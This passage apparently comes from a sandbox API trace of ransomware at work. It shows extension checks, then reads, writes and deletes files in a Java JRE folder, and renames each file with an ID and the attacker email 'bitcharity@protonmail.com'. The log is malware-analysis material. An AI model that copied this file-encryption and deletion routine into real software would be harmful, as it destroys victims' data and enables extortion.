(lpString=".bz2") returned 4 [0300.241] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.241] lstrlenW (lpString=".7z") returned 3 [0300.241] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".dbf") returned 4 [0300.242] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".1cd") returned 4 [0300.242] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".jpg") returned 4 [0300.242] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".doc") returned 4 [0300.242] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.242] lstrlenW (lpString=".docx") returned 5 [0300.242] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0300.242] lstrlenW (lpString=".pdf") returned 4 [0300.242] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.242] lstrlenW (lpString=".xls") returned 4 [0300.242] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.242] lstrlenW (lpString=".xlsx") returned 5 [0300.242] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0300.242] lstrlenW (lpString=".ppt") returned 4 [0300.242] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".zip") returned 4 [0300.242] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.242] lstrlenW (lpString=".rar") returned 4 [0300.242] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.242] lstrlenW (lpString=".bz2") returned 4 [0300.242] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.242] lstrlenW (lpString=".7z") returned 3 [0300.242] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".dbf") returned 4 [0300.242] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.242] lstrlenW (lpString=".1cd") returned 4 [0300.242] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.243] lstrlenW (lpString=".jpg") returned 4 [0300.243] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.243] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0300.243] lstrlenW (lpString="lcms.dll") returned 8 [0300.243] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0300.243] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=233536) returned 1 [0300.243] CloseHandle (hObject=0x1098) returned 1 [0300.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0300.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.243] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0300.243] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.244] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0300.244] GetLastError () returned 0x0 [0300.244] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x39040, lpOverlapped=0x0) returned 1 [0300.891] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x39050, lpOverlapped=0x0) returned 1 [0301.125] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.125] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe4, lpOverlapped=0x0) returned 1 [0301.125] SetEndOfFile (hFile=0x10e4) returned 1 [0301.125] CloseHandle (hObject=0x10e4) returned 1 [0301.125] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.125] SetEndOfFile (hFile=0x1098) returned 1 [0301.128] CloseHandle (hObject=0x1098) returned 1 [0301.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.128] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0301.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.129] lstrlenW (lpString=".doc") returned 4 [0301.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.129] lstrlenW (lpString=".docx") returned 5 [0301.129] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0301.129] lstrlenW (lpString=".pdf") returned 4 [0301.129] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.129] lstrlenW (lpString=".xls") returned 4 [0301.129] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.129] lstrlenW (lpString=".xlsx") returned 5 [0301.129] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0301.129] lstrlenW (lpString=".ppt") returned 4 [0301.129] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.129] lstrlenW (lpString=".zip") returned 4 [0301.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.129] lstrlenW (lpString=".rar") returned 4 [0301.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.129] lstrlenW (lpString=".bz2") returned 4 [0301.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.129] lstrlenW (lpString=".7z") returned 3 [0301.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.129] lstrlenW (lpString=".dbf") returned 4 [0301.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.129] lstrlenW (lpString=".1cd") returned 4 [0301.129] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.129] lstrlenW (lpString=".jpg") returned 4 [0301.129] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.130] lstrlenW (lpString=".doc") returned 4 [0301.130] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString=".docx") returned 5 [0301.130] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0301.130] lstrlenW (lpString=".pdf") returned 4 [0301.130] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString=".xls") returned 4 [0301.130] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString=".xlsx") returned 5 [0301.130] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0301.130] lstrlenW (lpString=".ppt") returned 4 [0301.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.130] lstrlenW (lpString=".zip") returned 4 [0301.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString=".rar") returned 4 [0301.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.130] lstrlenW (lpString=".bz2") returned 4 [0301.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.130] lstrlenW (lpString=".7z") returned 3 [0301.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.130] lstrlenW (lpString=".dbf") returned 4 [0301.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.130] lstrlenW (lpString=".1cd") returned 4 [0301.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0301.131] lstrlenW (lpString=".jpg") returned 4 [0301.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.131] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.131] lstrlenW (lpString="msvcr100.dll") returned 12 [0301.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.131] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=829264) returned 1 [0301.131] CloseHandle (hObject=0x1098) returned 1 [0301.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0301.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.132] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.132] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0301.133] GetLastError () returned 0x0 [0301.133] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0xca750, lpOverlapped=0x0) returned 1 [0301.290] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xca760, lpOverlapped=0x0) returned 1 [0301.305] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.305] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.305] SetEndOfFile (hFile=0x10e4) returned 1 [0301.306] CloseHandle (hObject=0x10e4) returned 1 [0301.306] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.306] SetEndOfFile (hFile=0x1098) returned 1 [0301.346] CloseHandle (hObject=0x1098) returned 1 [0301.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.346] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0301.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.347] lstrlenW (lpString=".doc") returned 4 [0301.347] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.347] lstrlenW (lpString=".docx") returned 5 [0301.347] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0301.347] lstrlenW (lpString=".pdf") returned 4 [0301.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.347] lstrlenW (lpString=".xls") returned 4 [0301.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.347] lstrlenW (lpString=".xlsx") returned 5 [0301.347] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0301.347] lstrlenW (lpString=".ppt") returned 4 [0301.347] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.347] lstrlenW (lpString=".zip") returned 4 [0301.347] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.347] lstrlenW (lpString=".rar") returned 4 [0301.347] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.347] lstrlenW (lpString=".bz2") returned 4 [0301.347] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.347] lstrlenW (lpString=".7z") returned 3 [0301.347] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.347] lstrlenW (lpString=".dbf") returned 4 [0301.348] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.348] lstrlenW (lpString=".1cd") returned 4 [0301.348] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.348] lstrlenW (lpString=".jpg") returned 4 [0301.348] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.348] lstrlenW (lpString=".doc") returned 4 [0301.348] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString=".docx") returned 5 [0301.348] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0301.348] lstrlenW (lpString=".pdf") returned 4 [0301.348] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString=".xls") returned 4 [0301.348] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString=".xlsx") returned 5 [0301.348] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0301.348] lstrlenW (lpString=".ppt") returned 4 [0301.348] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.348] lstrlenW (lpString=".zip") returned 4 [0301.348] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString=".rar") returned 4 [0301.348] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.348] lstrlenW (lpString=".bz2") returned 4 [0301.348] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.348] lstrlenW (lpString=".7z") returned 3 [0301.348] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.349] lstrlenW (lpString=".dbf") returned 4 [0301.349] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.349] lstrlenW (lpString=".1cd") returned 4 [0301.349] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0301.349] lstrlenW (lpString=".jpg") returned 4 [0301.349] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.349] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0301.349] lstrlenW (lpString="orbd.exe") returned 8 [0301.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.349] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=16448) returned 1 [0301.349] CloseHandle (hObject=0x1098) returned 1 [0301.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0301.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.350] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.350] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0301.350] GetLastError () returned 0x0 [0301.350] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x4040, lpOverlapped=0x0) returned 1 [0301.661] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x4050, lpOverlapped=0x0) returned 1 [0301.662] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.662] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe4, lpOverlapped=0x0) returned 1 [0301.662] SetEndOfFile (hFile=0x10a4) returned 1 [0301.662] CloseHandle (hObject=0x10a4) returned 1 [0301.662] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.662] SetEndOfFile (hFile=0x1098) returned 1 [0301.663] CloseHandle (hObject=0x1098) returned 1 [0301.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.664] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0301.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.664] lstrlenW (lpString=".doc") returned 4 [0301.664] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.664] lstrlenW (lpString=".docx") returned 5 [0301.664] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0301.664] lstrlenW (lpString=".pdf") returned 4 [0301.664] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.664] lstrlenW (lpString=".xls") returned 4 [0301.664] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.664] lstrlenW (lpString=".xlsx") returned 5 [0301.664] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0301.664] lstrlenW (lpString=".ppt") returned 4 [0301.664] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.665] lstrlenW (lpString=".zip") returned 4 [0301.665] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.665] lstrlenW (lpString=".rar") returned 4 [0301.665] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.665] lstrlenW (lpString=".bz2") returned 4 [0301.665] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.665] lstrlenW (lpString=".7z") returned 3 [0301.665] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.665] lstrlenW (lpString=".dbf") returned 4 [0301.665] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.665] lstrlenW (lpString=".1cd") returned 4 [0301.665] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.665] lstrlenW (lpString=".jpg") returned 4 [0301.665] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.665] lstrlenW (lpString=".doc") returned 4 [0301.665] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.665] lstrlenW (lpString=".docx") returned 5 [0301.665] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0301.665] lstrlenW (lpString=".pdf") returned 4 [0301.665] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.665] lstrlenW (lpString=".xls") returned 4 [0301.665] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.665] lstrlenW (lpString=".xlsx") returned 5 [0301.665] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0301.666] lstrlenW (lpString=".ppt") returned 4 [0301.666] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.666] lstrlenW (lpString="C:\\Program 